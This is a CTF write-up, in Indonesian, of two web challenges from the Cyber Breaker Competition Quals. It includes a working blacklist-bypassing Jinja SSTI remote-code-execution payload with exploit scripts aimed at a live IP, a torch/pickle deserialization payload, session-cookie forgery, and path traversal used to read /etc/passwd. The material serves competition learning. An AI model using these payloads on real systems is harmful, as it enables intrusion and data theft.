⏪
CTFs
TwitterGithub
  • 👋Introduction
  • 📚Write Up
    • 2024
      • 📖1337UP LIVE CTF
        • Reverse Engineering
        • Mobile
        • Forensic
        • Misc
      • 📖HKCERT CTF Quals
        • Reverse Engineering
        • Binary Exploitation
      • 📖Flare-On 11
        • Challenge #1 - frog
      • 📖Intechfest
        • Reverse Engineering
        • Forensic
        • Cryptography
        • Mobile
      • 📖Cyber Breaker Competition (1v1)
        • Reverse Engineering
        • Web Exploitation
        • Cryptography
        • Binary Exploitation
      • 📖Cyber Breaker Competition Quals
        • Reverse Engineering
        • Web Exploitation
        • Cryptography
      • 📖BlackHat MEA Quals
        • Reverse Engineering
        • Forensic
      • 📖TFC CTF
        • Reverse Engineering
        • Forensic
        • Misc
      • 📖DeadSec CTF
        • Reverse Engineering
        • Web Exploitation
      • 📖Aptos - Code Collision CTF
        • Reverse Engineering
        • Misc
      • 📖DownUnder CTF
        • Reverse Engineering
      • 📖JustCTF
        • Reverse Engineering
        • Forensic
        • Misc
      • 📖Akasec CTF
        • Reverse Engineering
        • Forensic
      • 📖Codegate CTF Preliminary
        • Reverse Engineering
      • 📖NahamCon CTF
        • Cryptography
        • Reverse Engineering
        • Malware
        • Misc
        • Mobile
        • Scripting
        • Web Exploitation
        • Forensic
      • 📖SAS CTF Quals
        • Reverse Engineering
      • 📖SwampCTF
        • Reverse Engineering
        • Misc
        • Cryptography
      • 📖UNbreakable International
        • Reverse Engineering
        • Network
        • Cryptography
      • 📖ACSC
        • Reverse Engineering
        • Hardware
        • Web Exploitation
      • 📖0xL4ugh
        • Mobile
    • 2023
      • 📖BlackHat MEA Final
        • Reverse Engineering
        • Web Exploitation
      • 📖Flare-On 10
        • Challenge #1 - X
        • Challenge #2 - ItsOnFire
        • Challenge #3 - mypassion
        • Challenge #4 - aimbot
        • Challenge #5 - where_am_i
        • Challenge #6 - FlareSay
        • Challenge #7 - flake
        • Challenge #8 - AmongRust
        • Challenge #9 - mbransom
        • Challenge #10 - kupo
        • Challenge #11 - over_the_rainbow
        • Challenge #12 - HVM
        • Challenge #13 - y0da
      • 📖LakeCTF Quals
        • Reverse Engineering
        • Cryptography
      • 📖TSG CTF
        • Reverse Engineering
        • Cryptography
      • 📖ISITDTU Quals
        • Web Exploitation
        • Misc
        • Reverse Engineering
      • 📖BlackHat MEA Quals
        • Reverse Engineering
      • 📖ASCIS Final
        • Reverse Engineering
        • Web Exploitation
        • Cryptography
      • 📖ASCIS Quals
        • Reverse Engineering
        • Forensic
        • Cryptography
      • 📖IFest
        • Reverse Engineering
        • Cryptography
        • Misc
      • 📖Cyber Jawara International
        • Reverse Engineering
        • Forensic
        • Cryptography
        • Web Exploitation
      • 📖Intechfest
        • Reverse Engineering
        • Forensic
        • Cryptography
        • Mobile
      • 📖CSAW Quals
        • Reverse Engineering
      • 📖SECCON Quals
        • Reverse Engineering
      • 📖CTFZone Quals
        • Reverse Engineering
      • 📖Securinets Quals
        • Reverse Engineering
      • 📖Compfest Final (Attack Defense)
        • Web Exploitation
        • Cryptography
      • 📖Compfest Quals
        • Reverse Engineering
        • Cryptography
        • Forensic
        • Misc
      • 📖Tenable
        • Reverse Engineering
        • Cryptography
        • Steganography
      • 📖ASCWG Quals
        • Reverse Engineering
        • Cryptography
      • 📖Gemastik Quals
        • Reverse Engineering
      • 📖BSides Indore
        • Reverse Engineering
        • Cryptography
      • 📖NahamCon CTF
        • Cryptography
      • 📖HSCTF
        • Reverse Engineering
        • Cryptography
        • Web Exploitation
        • Misc
      • 📖ACSC
        • Reverse Engineering
      • 📖HackTM Quals
        • Reverse Engineering
    • 2022
      • 📖Intechfest
        • Reverse Engineering
        • Mobile
        • Cryptography
      • 📖NCW Final
        • Reverse Engineering
      • 📖NCW Quals
        • Reverse Engineering
        • Misc
        • Cryptography
      • 📖Compfest Final
        • Reverse Engineering
        • Forensic
      • 📖Compfest Quals
        • Reverse Engineering
        • Cryptography
      • 📖IFest
        • Reverse Engineering
        • Cryptography
        • Forensic
    • 2021
      • 📖Cyber Jawara Final
        • Reverse Engineering
      • 📖Cyber Jawara Quals
        • Reverse Engineering
        • Cryptography
      • 📖DarkCon CTF
        • Reverse Engineering
      • 📖Wreck IT Quals
        • Mobile
      • 📖MDT4.0 Final
        • Reverse Engineering
        • Cryptography
        • Forensic
      • 📖MDT4.0 Quals
        • Reverse Engineering
        • Cryptography
      • 📖IFest
        • Reverse Engineering
        • Cryptography
      • 📖Compfest Final
        • Reverse Engineering
      • 📖Compfest Quals
        • Reverse Engineering
        • Cryptography
    • 2020
      • 📖Deep CTF
        • Reverse Engineering
  • 🚩Lifetime CTF
    • 📖Hack The Box
      • Reverse Engineering
        • TBU
Powered by GitBook
On this page
  • No Hate Speech (230 pts)
  • Solution
  • Rocket Shop Goes by (350 pts)
  • Solution
  1. Write Up
  2. 2024
  3. Cyber Breaker Competition Quals

Web Exploitation

PreviousReverse EngineeringNextCryptography

Last updated 7 months ago

Challenge
Link

No Hate Speech (230 pts)

Rocket Shop Goes by (350 pts)

No Hate Speech (230 pts)

Solution

Diberikan akses ke sebuah website dan source code. Lakukan analysis terhadap source codenya. Dapat dilihat bahwa ada 2 container yaitu web app dan ml app, container yang public facing adalah web app mari kita cek web app.

Terdapat vulnerability SSTI pada line yang diblock dimana kita ketahui dari adanya string yang bisa kita kontrol pada argument render_template_string. Namun disini terdapat blacklist yang membuat kita tidak bisa menggunakan common payload untuk SSTI yaitu

blacklist = ["_", "]", "[", ">", "<", "{{", "}}", ".", "$"] 
{% with a=request|attr("application")|attr((request|attr('args')|list|first,'globals',request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'getitem',request|attr('args')|list|first)|join)((request|attr('args')|list|first,'builtins',request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'getitem',request|attr('args')|list|first)|join)((request|attr('args')|list|first,'import',request|attr('args')|list|first)|join)('os')|attr('popen')('ls -l')|attr('read')() %}{%print(a)%}{% endwith %}

Setelah mendapat rce kita lanjut ke container kedua yaitu ml app.

import requests

burp0_url = "http://178.128.102.212:5001/check?__=a&.=b"
burp0_headers = {"Cache-Control": "max-age=0", "Accept-Language": "en-US", "Upgrade-Insecure-Requests": "1", "Origin": "http://178.128.102.212:5001", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://178.128.102.212:5001/", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
list_command = []
command = "env"
list_command.append(command)
for i in list_command:
exploit = "{% with a=request|attr(\"application\")|attr((request|attr('args')|list|first,'globals',request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'getitem',request|attr('args')|list|first)|join)((request|attr('args')|list|first,'builtins',request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'getitem',request|attr('args')|list|first)|join)((request|attr('args')|list|first,'import',request|attr('args')|list|first)|join)('os')|attr('popen')('" + i + "')|attr('read')() %}{%print(a)%}{% endwith %}"
burp0_data = {"sentence": exploit}
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(resp.text)

Didapatkan secret_keynya adalah sup3rsecret-k3y-666, jadi selanjutnya tinggal otomasi untuk exploit picklenya. Jalankan kode berikut dengan python3.12 sesuai dengan container target

import torch

PATH = "exploit.ckpt"

class P(object):
    def __reduce__(self):
        return (exec, ("raise Exception(__import__('os').popen('cat /flag*').read())",))

torch.save(P(), PATH)

Generate cookie dengan key admin menggunakan secret_key yang udah dileak

Selanjutnya buat kode python untuk mengirim exploit ke ml_app karena tidak ada curl yang bisa digunakan.

ml_expl.py
import requests

cookies = {
"session" : "eyJhZG1pbiI6dHJ1ZX0.Zsn0Ng.ncXMk8DloFS8cbUVnj7E4W5KdCI"
}
files = {'model_file': open('/tmp/exploit.ckpt','rb')}
data = {
"user_input" : "asd"
}
response = requests.post(
        "http://ml_app:5000/custom-analyze", cookies=cookies, files = files, data=data
)

print(response.text)

Terakhir, bikin otomasi untuk mengirimkan file exploit ml_app dan exploit.ckpt ke web_app dan menjalankannya. Untuk bypass > dan . bisa gunakan format hex untuk string yaitu \x<hex_val>

import requests
import base64

def conv(filename):
f = open(filename, "rb").read()
return base64.b64encode(f).decode()

burp0_url = "http://178.128.102.212:5001/check?__=a&.=b"
burp0_headers = {"Cache-Control": "max-age=0", "Accept-Language": "en-US", "Upgrade-Insecure-Requests": "1", "Origin": "http://178.128.102.212:5001", "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer": "http://178.128.102.212:5001/", "Accept-Encoding": "gzip, deflate, br", "Connection": "keep-alive"}
list_command = []

command = f"echo -n \"{conv('ml_expl.py')}\" | base64 -d \\x3e /tmp/lol\\x2epy"
list_command.append(command)

command = f"echo -n \"{conv('tmp/exploit.ckpt')}\" | base64 -d \\x3e /tmp/exploit\\x2eckpt"
list_command.append(command)

command = "python /tmp/lol\\x2epy"
list_command.append(command)

command = "rm /tmp/lol\\x2epy"
list_command.append(command)

command = "rm /tmp/exploit\\x2eckpt"
list_command.append(command)

for i in list_command:
exploit = "{% with a=request|attr(\"application\")|attr((request|attr('args')|list|first,'globals',request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'getitem',request|attr('args')|list|first)|join)((request|attr('args')|list|first,'builtins',request|attr('args')|list|first)|join)|attr((request|attr('args')|list|first,'getitem',request|attr('args')|list|first)|join)((request|attr('args')|list|first,'import',request|attr('args')|list|first)|join)('os')|attr('popen')('" + i + "')|attr('read')() %}{%print(a)%}{% endwith %}"
burp0_data = {"sentence": exploit}
resp = requests.post(burp0_url, headers=burp0_headers, data=burp0_data)
print(resp.text)

Flag: CBC2024{bdb39edbd4a4cafd4147200936684880}

Rocket Shop Goes by (350 pts)

Solution

Diberikan akses ke sebuah website, login dengan hint yang diberikan yaitu guest:guest

Terdapat beberapa hyperlink, klik Astronaut. Pada burpsuite dapat diketahui terdapat request ke endpoint /view dengan parameter file.

Dari parameter terlihat seperti vulnerable terhadap local file read dengan memanfaatkan path traversal, gunakan common payload untuk membaca /etc/passwd

Disini kita sudah berhasil membaca /etc/passwd, selanjutnya saya coba membaca /flag.txt namun gagal.

Selanjutnya mencari informasi mengenai http server rocket ditemukan referensi berikut

Jadi rocket adalah framework dari rust, selanjutnya saya coba leak informasi dari project yaitu pada file Cargo.toml.

Coba lakukan leak terhadap source code

Karena tidak bisa maka lakukan leak untuk executablenya, ada 2 mode yang saya cari debug dan release dan ternyata ada pada release.

Setelah berhasil mendownload, buka dengan IDA.

filter nama fungsi berdasarkan nama project

Terdapat beberapa fungsi, terdapat fungsi get_flag yang besar kemungkinan untuk mendapatkan flag. Disini terdapat beberapa informasi yang kita pegang, seperti endpoint untuk view file, jadi kita harus cari korelasi antara fungsi view dan endpointnya. Enumerasi satu-satu fungsi view.

Pada fungsi dengan nama _ZN19rocket_ship_goes_by9view_file9into_info22monomorphized_function17h9a620aead7e1bf75E terdapat xref ke fungsi main, jika kita decompile pada xrefnya dapat dilihat terdapat endpoint untuk fungsi view.

Jadi untuk mendapatkan endpoint fungsi get_flag, kita lakukan hal yang sama.

Disini kita sudah tahu endpoint untuk get_flag yaitu wintheflag. Selanjutnya kita analisis fungsi get_flag

Pada fungsi _ZN19rocket_ship_goes_by8get_flag9into_info22monomorphized_function28_$u7b$$u7b$closure$u7d$$u7d$17ha81b4a5bad28ccbaE terdapat validasi untuk cookie dan kalau kita konversi nialinya adalah admin

Jadi disini kita diharuskan menggunakan admin untuk cookienya, namun dari request sukses yang kita tahu cookie hanya ada user. Jadi kita bisa lakukan debug apakah admin itu key atau value dari user tersebut. Untuk melakukan debug cukup buat direktori template aja, yang lain bisa diabaikan karena relate ke UI daripada ke backendnya.

Selanjutnya breakpoint pada 0x24CAC3

pie b 0x24CAC3
pie run

Akses endpoint /wintheflag dengan cookie dari login guest

Bisa dilihat bahwa nilai yang dibandingkan adalah guest dan admin. Jadi bisa dibilang bahwa kita harus login sebagai admin. Selanjutnya cek fungsi login

Pada fungsi _ZN19rocket_ship_goes_by5login9into_info22monomorphized_function28_$u7b$$u7b$closure$u7d$$u7d$17h5f53e279d7dab19bE dapat diketahui bahwa login dihardcode, jadi hanya bisa untuk guest:guest saja. Lanjut ke proses setelahnya yaitu jika user melakukan login dengan credential guest:guest

Terdapat fungsi add_private yang merupakan proses signing dan menghasil signature untuk user guest yang telah login. Nilai yang disign pun juga hardcoded yaitu guest, disini saya mendapat ide untuk mengubah nilai guest menjadi admin lalu melakukan continue pada program. Jadi nanti response dari endpoint login akan menghasilkan signature cookie untuk admin. Breakpoint pada address 0x24921A

pie b 0x24921A
c

Selanjutnya tinggal ubah nilai guest menjadi admin

set {char}(0x555555bbfe98) = 97
set {char}(0x555555bbfe98+1) = 100
set {char}(0x555555bbfe98+2) = 109
set {char}(0x555555bbfe98+3) = 105
set {char}(0x555555bbfe98+4) = 110

Terakhir tinggal continue

Pada response akan terdapat cookie jadi gunakan cookie tersebut pada server target

Flag: CBC2024{9fe81363ba8fe3ef1731cc51a4bf734f}

Kuncinya disini kita bisa melakukan SSTI dengan {% % }. Salah satu referensi yang saya gunakan adalah website berikut . Intinya kita bisa membypass character character penting untuk payload ssti seperti _, square brackets, dan {{ }}. Pada payload di website tersebut hanya memanfaatkan function yang tersedia dari module yang telah diimport, bedanya disini saya membuat payload untuk melakukan import dengan memanfaatkan builtin function. Berikut adalah payload RCE pertama saya

pada ml app ada satu endpoint yang tidak dipanggil dimana-mana yang sangat mencurigakan. Jadi disini saya coba cari mengenai torch.load tersebut karena bedanya disini kita bisa pakai model kita sendiri. Kemudian saya mendapat referensi berikut . Jadi ketika torch.load digunakan dan kita bisa menggunakan model kita sendiri kita bisa melakukan RCE dengan memanfaatkan pickle deserialization. Selanjutnya ada proteksi lain yaitu harus ada admin di session, melihat dari docker-compose kita tahu bahwa SECRET_KEY yang digunakan pada container web dan ml itu sama. Jadi lakukan leak untuk SECRET_KEY terlebih dahulu

📚
📖
https://ctf.zeyu2001.com/2022/securinets-ctf-finals-2022/strong
https://hackmd.io/@Solderet/SomeWriteupForWaniCTF2023-XogSiA
Here
Here